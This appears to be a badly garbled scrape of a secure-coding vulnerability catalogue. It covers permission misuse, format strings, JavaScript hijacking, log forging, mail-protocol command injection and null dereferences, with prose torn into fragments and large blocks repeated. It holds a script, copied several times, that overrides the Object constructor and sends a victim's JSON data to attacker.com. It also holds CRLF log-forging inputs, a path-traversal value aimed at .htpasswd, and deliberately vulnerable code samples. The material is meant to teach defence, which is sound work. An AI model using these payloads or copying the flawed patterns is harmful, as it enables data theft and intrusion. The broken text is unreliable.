permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
sprintf()
, FormatMessageW()
, or syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n
formatting directive, the attacker may write to the stack, causing snprintf()
to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, or NSString.stringWithFormat
Example 1: The following code utilizes a command line argument as a format string in NSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:Example 4: Apple core classes provide interesting avenues for exploiting format string vulnerabilities.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
function is sometimes used as follows:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.f
from a float using a %d
format specifier.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
tag.
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
, then the site is dependent upon www.example.com
to serve up correct and non-malicious code. If attackers can compromise www.example.com
, then they can alter the contents of fancyWidget.js
to subvert the security of the site. They could, for example, add code to fancyWidget.js
to steal a user's confidential data.
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
such as en&poll_id=1
, and then the attacker may be able to change the poll_id
at will.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
such as en&poll_id=1
, and then the attacker will be able to change the poll_id
at will.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
specified, but they've added an additional name=alice&
, and if this is being used on a server that takes the first occurrence, then this may impersonate alice
in order to get further information regarding her account.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework uses the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, GWT does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
returningObjectFlag
to true
on the javax.naming.directory.SearchControls
instance passed to the search
method or by using a library function that sets this flag on its behalf.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
should be dropped immediately after the operation is performed.chroot()
, it must first acquire root
privilege. As soon as the privileged operation has completed, the program should drop root
privilege and return to the privilege level of the invoking user.chroot()
to restrict the application to a subset of the file system below APP_HOME
in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
with some non-zero value means the application is continuing to operate with unnecessary root
privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root
user, the potential for damage is substantially reduced.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" for val
, the following entry is logged:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", the following entry is logged:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" for val
, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" for val
, the following entry is logged:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" for VAL
, the following entry is logged:
VAL: FOO
FOO VAL: BAR
", the following entry is logged:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" for val
, the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
to the Android platform.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" for val
, the following entry is logged:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" for val
, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
CREATE
command that is sent to the IMAP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
and PASS
command that is sent to the POP3 server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
command that is sent to the SMTP server. An attacker might use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
command that is sent to the SMTP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
command that is sent to the SMTP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
.Item
property is null
before calling the member function Equals()
, potentially causing a null
dereference.
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
value."null
.malloc()
.
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
fail because req_size
was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.null
.getParameter()
is null
before calling the member function compareTo()
, potentially causing a null
dereference.Example 2:. The following code shows a system property that is set to
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
and later dereferenced by a programmer who mistakenly assumes it will always be defined.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
value."NullException
.cmd
" defined. If an attacker can control the program's environment so that "cmd
" is not defined, the program throws a null-pointer exception when it attempts to call the Trim()
method.
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
before checking if the pointer is null
. Dereference-after-check errors occur when a program makes an explicit check for null
, but proceeds to dereference the pointer when it is known to be null
. Errors of this type are often the result of a typo or programmer oversight. A dereference-after-store error occurs when a program explicitly sets a pointer to null
and dereferences it later. This error is often the result of a programmer initializing a variable to null
when it is declared.ptr
is not NULL
. That assumption is made explicit when the programmer dereferences the pointer. This assumption is later contradicted when the programmer checks ptr
against NULL
. If ptr
can be NULL
when it is checked in the if
statement then it can also be NULL
when it dereferenced and may cause a segmentation fault.Example 2: In the following code, the programmer confirms that the variable
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
is NULL
and subsequently dereferences it erroneously. If ptr
is NULL
when it is checked in the if
statement, then a null
dereference will occur, thereby causing a segmentation fault.Example 3: In the following code, the programmer forgets that the string
if (ptr == null) {
ptr->field = val;
...
}
'\0'
is actually 0 or NULL
, thereby dereferencing a null-pointer and causing a segmentation fault.Example 4: In the following code, the programmer explicitly sets the variable
if (ptr == '\0') {
*ptr = val;
...
}
ptr
to NULL
. Later, the programmer dereferences ptr
before checking the object for a null
value.
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
.cmd
" defined. If an attacker can control the program's environment so that "cmd
" is not defined, the program throws a null-pointer exception when it attempts to call the trim()
method.
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();